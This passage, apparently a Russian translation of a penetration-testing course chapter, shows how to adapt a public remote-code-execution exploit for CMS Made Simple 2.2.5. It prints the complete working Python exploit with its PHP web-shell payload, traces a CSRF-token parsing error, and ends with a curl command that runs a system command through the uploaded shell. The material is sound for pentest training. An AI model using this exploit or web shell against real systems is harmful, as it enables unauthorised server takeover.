Отлично! Мы получили шелл. Кроме того, для этого эксплойта больше не требуется доступ к Windows в полевых условиях для атак, поскольку мы можем запускать его из Kali Linux.
Исправление веб-эксплоитов
Уязвимости веб-приложений не часто приводят к повреждению памяти. Это означает, что на них не влияет защита, предоставляемая операционной системой, такая как DEP и ASLR, и их значительно легче перенастроить.
Анализ и обзор
Возможно, не придется иметь дело с шестнадцатеричной кодировкой пейлоада в веб-эксплойтах, однако важно, чтобы мы правильно прочитали код, чтобы мы поняли, какие факторы должны учитываться в процессе редактирования.
При модификации веб-эксплойтов, есть несколько ключевых вопросов, которые мы обычно должны задавать при рассмотрении кода:
- Инициирует ли он HTTP или HTTPS соединение?
- Имеет ли он доступ к конкретному пути или маршруту веб-приложения?
- Использует ли эксплойт уязвимость до аутентификации?
- Если нет, то как эксплойт аутентифицируется в веб-приложении?
- Как создаются GET или POST запросы для активации и использования уязвимости?
- Опирается ли он на настройки приложения по умолчанию (такие как веб путь к приложению), которые могут были изменены после установки?
- Будут ли такие неудобства, как самоподписанные сертификаты, нарушать работу эксплойта?
Кроме того, мы должны помнить, что публичные эксплойты веб-приложений не учитывают дополнительные средства защиты, такие как .htaccess. Это в основном связано с тем, что автор эксплойта может не знать об этих средствах защиты в процессе разработки, и они находятся вне сферы применения эксплойта.
Выбираем уязвимость
Рассмотрим следующий сценарий. Во время проверки мы обнаруживаем Linux-хост, на котором размещен сервер *apache2*. После сбора информации о веб-сервере мы находим установленный *CMS Made Simple* версии *2.2.5*, прослушивающий TCP-порт *443*. Эта версия является уязвимой для удаленного выполнения кода, а публичный эксплойт доступен на Exploit-DB [392](https://www.exploit-db.com/exploits/44976).
Эта уязвимость является пост-аутентификационной, однако мы обнаружили действующие учетные данные приложения (admin / HUYfaw763) на другой машине во время процесса сбора информации.
Изменение информации о подключении
Изучая код, мы понимаем, что переменная base_url должна быть изменена, чтобы соответствовать нашему окружению:
Код:
base_url = "http://192.168.1.10/cmsms/admin"
Листинг 23 - Переменная base_url в оригинальном эксплоите
Нам необходимо изменить IP-адрес и протокол на HTTPS:
Код:
base_url = "https://10.11.0.128/admin"
Листинг 24 - Переменная base_url обновлена согласно нашим условиям
Мы также замечаем, что при просмотре целевого сайта нам выдается ошибка
Ссылка скрыта от гостей
. Эта ошибка указывает на то, что сертификат на удаленном узле не может быть подтвержден. Мы должны учесть это в коде эксплойта.В частности, эксплойт использует Python библиотеку requests для связи с целью. Код делает три пост-запроса в строках 34, 55 и 80:
Python:
...
response = requests.post(url, data=data, allow_redirects=False)
...
response = requests.post(url, data=data, files=txt, cookies=cookies)
...
response = requests.post(url, data=data, cookies=cookies, allow_redirects=False)
...
Листинг 25 - Все три пост-запроса в оригинальном эксплоите
В
Ссылка скрыта от гостей
указано, что SSL-сертификат будет проигнорирован, если мы установим параметр verify в False:
Python:
...
response = requests.post(url, data=data, allow_redirects=False, verify=False)
...
response = requests.post(url, data=data, files=txt, cookies=cookies, verify=False)
...
response = requests.post(url, data=data, cookies=cookies, allow_redirects=False, verify=False)
...
Листинг 26 - Измененный пост-запрос для игнорирования SSL проверки.
Наконец, нам также нужно изменить учетные данные, используемые в оригинальном эксплойте, чтобы они соответствовали найденным в процессе сбора информации. Они определены в переменных username и password в строках 15 и 16 соответственно:
Python:
username = "admin"
password = "password"
Листинг 27 - Переменные username и password в оригинальном эксплоите
Заменим значения на нужные:
Python:
username = "admin"
password = "HUYfaw763"
Листинг 28 - Исправленные переменные username и password
Обратите внимание, что в данном случае нет необходимости обновлять простой прейлоад, так как он выполняет только системные команды, передаваемые в чистом виде в GET-запросе.
После того, как все правки завершены, окончательный эксплойт должен выглядеть следующим образом:
Python:
# Exploit Title: CMS Made Simple 2.2.5 authenticated Remote Code Execution
# Date: 3rd of July, 2018
# Exploit Author: Mustafa Hasan (@strukt93)
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: http://www.cmsmadesimple.org/downloads/cmsms/
# Version: 2.2.5
# CVE: CVE-2018-1000094
import requests
import base64
base_url = "https://10.11.0.128/admin"
upload_dir = "/uploads"
upload_url = base_url.split('/admin')[0] + upload_dir
username = "admin"
password = "HUYfaw763"
csrf_param = "__c"
txt_filename = 'cmsmsrce.txt'
php_filename = 'shell.php'
payload = "<?php system($_GET['cmd']);?>"
def parse_csrf_token(location):
return location.split(csrf_param + "=")[1]
def authenticate():
page = "/login.php"
url = base_url + page
data = {
"username": username,
"password": password,
"loginsubmit": "Submit"
}
response = requests.post(url, data=data, allow_redirects=False, verify=False)
status_code = response.status_code
if status_code == 302:
print "[+] Authenticated successfully with the supplied credentials"
return response.cookies, parse_csrf_token(response.headers['Location'])
print "[-] Authentication failed"
return None, None
def upload_txt(cookies, csrf_token):
mact = "FileManager,m1_,upload,0"
page = "/moduleinterface.php"
url = base_url + page
data = {
"mact": mact,
csrf_param: csrf_token,
"disable_buffer": 1
}
txt = {
'm1_files[]': (txt_filename, payload)
}
print "[*] Attempting to upload {}...".format(txt_filename)
response = requests.post(url, data=data, files=txt, cookies=cookies, verify=False)
status_code = response.status_code
if status_code == 200:
print "[+] Successfully uploaded {}".format(txt_filename)
return True
print "[-] An error occurred while uploading {}".format(txt_filename)
return None
def copy_to_php(cookies, csrf_token):
mact = "FileManager,m1_,fileaction,0"
page = "/moduleinterface.php"
url = base_url + page
b64 = base64.b64encode(txt_filename)
serialized = 'a:1:{{i:0;s:{}:"{}";}}'.format(len(b64), b64)
data = {
"mact": mact,
csrf_param: csrf_token,
"m1_fileactioncopy": "",
"m1_path": upload_dir,
"m1_selall": serialized,
"m1_destdir": "/",
"m1_destname": php_filename,
"m1_submit": "Copy"
}
print "[*] Attempting to copy {} to {}...".format(txt_filename, php_filename)
response = requests.post(url, data=data, cookies=cookies, allow_redirects=False, verify=False)
status_code = response.status_code
if status_code == 302:
if response.headers['Location'].endswith('copysuccess'):
print "[+] File copied successfully"
return True
print "[-] An error occurred while copying, maybe {} already exists".format(php_filename)
return None
def quit():
print "[-] Exploit failed"
exit()
def run():
cookies,csrf_token = authenticate()
if not cookies:
quit()
if not upload_txt(cookies, csrf_token):
quit()
if not copy_to_php(cookies, csrf_token):
quit()
print "[+] Exploit succeeded, shell can be found at: {}".format(upload_url + '/' + php_filename)
run()
Листинг 29 - Модифицированный эксплоит содержит все необходимый изменения
Запуск эксплойта приводит к неожиданной ошибке:
Python:
kali@kali:~$ python 44976_modified.py
/usr/lib/python2.7/dist-packages/urllib3/connectionpool.py:849: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
InsecureRequestWarning)
[+] Authenticated successfully with the supplied credentials
Traceback (most recent call last):
File "44976_modified.py", line 103, in <module>
run()
File "44976_modified.py", line 94, in run
cookies,csrf_token = authenticate()
File "44976_modified.py", line 38, in authenticate
return response.cookies, parse_csrf_token(response.headers['Location'])
File "44976_modified.py", line 24, in parse_csrf_token
return location.split(csrf_param + "=")[1]
IndexError: list index out of range
Листинг 30 - Ошибка Python во время выполнения модифицированного эксплоита
Из Листинга 30 видно, что при выполнении функции parse_csrf_token в 24-й строке кода сработало исключение. Ошибка говорит о том, что код пытался получить доступ к несуществующему элементу списка Python, обратившись к его второму элементу (location.split(csrf_param + "=")[1]).
Исправление ошибки “index out of range”
Рассматривая строку 24 нашего эксплойта, мы замечаем, что он использует метод
Ссылка скрыта от гостей
для того, чтобы разрезать строку, хранящуюся в параметре location, переданном в функцию parse_csrf_token. В документации Python для
Ссылка скрыта от гостей
указано, что этот метод нарезает входную строку с помощью опционального разделителя, передаваемого в качестве первого аргумента. Возвращаемые split части строки затем хранятся в объекте Python List, к которому можно получить доступ через индекс:
Python:
kali@kali:~$ python
>>> mystr = "Kali*-*Linux*-*Rocks"
>>> result = mystr.split("*-*")
>>> result
['Kali', 'Linux', 'Rocks']
>>> result[1]
'Linux'
>>>
Листинг 31 - Метод разделения строк в Python
В нашем коде эксплоита разделитель строк определяется как переменная csrf_param ("__c"), за которой следует знак равно:
Python:
csrf_param = "__c"
txt_filename = 'cmsmsrce.txt'
php_filename = 'shell.php'
payload = "<?php system($_GET['cmd']);?>"
def parse_csrf_token(location):
return location.split(csrf_param + "=")[1]
Листинг 32 - Разбор кода в строке 24
Для лучшего понимания IndexError можно добавить оператор print в функцию parse_csrf_token перед командой return:
Python:
csrf_param = "__c"
txt_filename = 'cmsmsrce.txt'
php_filename = 'shell.php'
payload = "<?php system($_GET['cmd']);?>"
def parse_csrf_token(location):
print "[+] String that is being split: " + location
return location.split(csrf_param + "=")[1]
Листинг 33 - Добавляем оператор print для того, чтобы увидеть строку, к котрой вызывается метод split
Теперь эксплоит отображает полную строку перед вызовом метода split:
Python:
kali@kali:~$ python 44976_modified.py
/usr/lib/python2.7/dist-packages/urllib3/connectionpool.py:849: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
InsecureRequestWarning)
[+] Authenticated successfully with the supplied credentials
[+] String that is being split:
https://10.11.0.128/admin?_sk_=f2946ad9afceb247864
Traceback (most recent call last):
File "44976_modified.py", line 104, in <module>
run()
File "44976_modified.py", line 95, in run
cookies,csrf_token = authenticate()
File "44976_modified.py", line 39, in authenticate
return response.cookies, parse_csrf_token(response.headers['Location'])
File "44976_modified.py", line 25, in parse_csrf_token
return location.split(csrf_param + "=")[1]
IndexError: list index out of range
Листинг 34 - Проверяем вывод команды print и замечаем отсутствие строки, определенной в переменной csrf_param
В то время как код эксплойта ожидал, что входная строка будет содержать __c (определена в переменной csrf_param), как показано в листинге 458, мы получили _sk_ от веб-приложения.
На данный момент мы не до конца понимаем, почему это происходит. Возможно, существует несовпадение версии программы разработчика эксплойта и нашей, или несовпадение конфигурации CMS. В любом случае, разработка эксплойтов никогда не бывает простой.
Тем не менее, мы можем попробовать изменить переменную csrf_param с __c на _sk_, чтобы она соответствовала ответу CMS и посмотреть, работает ли эксплойт:
Python:
csrf_param = "_sk_"
txt_filename = 'cmsmsrce.txt'
php_filename = 'shell.php'
payload = "<?php system($_GET['cmd']);?>"
Листинг 35 - Изменяем переменную csrf_param
Теперь запустим измененный эксплоит:
Код:
kali@kali:~$ python 44976_modified.py
/usr/lib/python2.7/dist-packages/urllib3/connectionpool.py:849: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
InsecureRequestWarning)
[+] Authenticated successfully with the supplied credentials
[+] String that is being split: https://10.11.0.128/admin?_sk_=bdc51a781fe6edcc126
[*] Attempting to upload cmsmsrce.txt...
...
[+] Successfully uploaded cmsmsrce.txt
[*] Attempting to copy cmsmsrce.txt to shell.php...
...
[+] File copied successfully
[+] Exploit succeeded, shell can be found at: https://10.11.0.128/uploads/shell.php
Листинг 36 - Успешная эксплуатация
Ошибка больше не отображается, и нам выдается сообщение о том, что эксплойт успешно выполнен. Хотя мы не совсем понимаем, зачем нам понадобилось менять переменную csrf_param с __c на _sk_, это дало прекрасную возможность адаптироваться к неожиданным ситуациям, что очень хорошо делают отличные пентестеры.
Теперь мы можем проверить эксплойт, прикрепив к php шелл с помощью инструмента типа curl и снабдив его системной командой в качестве пейлоада:
Код:
kali@kali:~$ curl -k https://10.11.0.128/uploads/shell.php?cmd=whoami
www-data
Листинг 37 - Проверка эксплоита попыткой запуска команды whoami с использованием загруженного php шелла
Замечательно. Эксплоит успешно отработал. Мы получили веб-шелл.
Заключение
В этой главе мы рассмотрели основные моменты переполнения буфера, которые требовали значительного редактирования в соответствии с особенностями нашей цели. Затем мы провели кросс-компиляцию кода, чтобы заставить его работать на платформе Кали.
Мы также модифицировали веб-эксплойт, чтобы продемонстрировать, как эти типы эксплойтов могут быть перенесены в другую целевую среду.
Эти сценарии демонстрируют решение общих проблем, возникающих при работе с публичными эксплойтами во время атаки.
Последнее редактирование: